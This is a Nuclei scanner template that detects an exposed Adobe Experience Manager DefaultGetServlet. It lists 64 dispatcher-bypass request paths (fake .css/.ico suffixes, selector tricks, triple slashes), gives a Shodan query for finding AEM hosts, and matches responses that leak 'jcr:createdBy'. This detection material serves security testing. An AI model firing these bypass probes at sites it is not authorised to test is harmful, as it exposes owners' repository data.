id: aem-default-get-servlet

info:
  name: AEM DefaultGetServlet
  author: DhiyaneshDk
  severity: low
  description: Sensitive information might be exposed via AEM DefaultGetServlet.
  reference:
    - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
    - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java
  classification:
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 64
    vendor: adobe
    product: experience_manager
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,adobe,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"

    payloads:
      paths:
        - "/etc"
        - "/var"
        - "/apps"
        - "/home"
        - "///etc"
        - "///var"
        - "///apps"
        - "///home"
        - "/.json"
        - "/.1.json"
        - "/....4.2.1....json"
        - "/.json?FNZ.css"
        - "/.json?FNZ.ico"
        - "/.json?FNZ.html"
        - "/.json/FNZ.css"
        - "/.json/FNZ.html"
        - "/.json/FNZ.png"
        - "/.json/FNZ.ico"
        - "/.children.1.json"
        - "/.children....4.2.1....json"
        - "/.children.json?FNZ.css"
        - "/.children.json?FNZ.ico"
        - "/.children.json?FNZ.html"
        - "/.children.json/FNZ.css"
        - "/.children.json/FNZ.html"
        - "/.children.json/FNZ.png"
        - "/.children.json/FNZ.ico"
        - "/etc.json"
        - "/etc.1.json"
        - "/etc....4.2.1....json"
        - "/etc.json?FNZ.css"
        - "/etc.json?FNZ.ico"
        - "/etc.json?FNZ.html"
        - "/etc.json/FNZ.css"
        - "/etc.json/FNZ.html"
        - "/etc.json/FNZ.ico"
        - "/etc.children.json"
        - "/etc.children.1.json"
        - "/etc.children....4.2.1....json"
        - "/etc.children.json?FNZ.css"
        - "/etc.children.json?FNZ.ico"
        - "/etc.children.json?FNZ.html"
        - "/etc.children.json/FNZ.css"
        - "/etc.children.json/FNZ.html"
        - "/etc.children.json/FNZ.png"
        - "/etc.children.json/FNZ.ico"
        - "///etc.json"
        - "///etc.1.json"
        - "///etc....4.2.1....json"
        - "///etc.json?FNZ.css"
        - "///etc.json?FNZ.ico"
        - "///etc.json/FNZ.html"
        - "///etc.json/FNZ.png"
        - "///etc.json/FNZ.ico"
        - "///etc.children.json"
        - "///etc.children.1.json"
        - "///etc.children....4.2.1....json"
        - "///etc.children.json?FNZ.css"
        - "///etc.children.json?FNZ.ico"
        - "///etc.children.json?FNZ.html"
        - "///etc.children.json/FNZ.css"
        - "///etc.children.json/FNZ.html"
        - "///etc.children.json/FNZ.png"
        - "///etc.children.json/FNZ.ico"
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'jcr:createdBy'
        condition: and
# digest: 4a0a00473045022100af46bccab362c103219cc01c8718f62568422fa93ed7df49612a3e817f747ed202206f56d81bd003c429306b874f2b36cb5a0a8c7057b450ecfacc2b8376fc0672e4:922c64590222798bb761d5b6d8e72950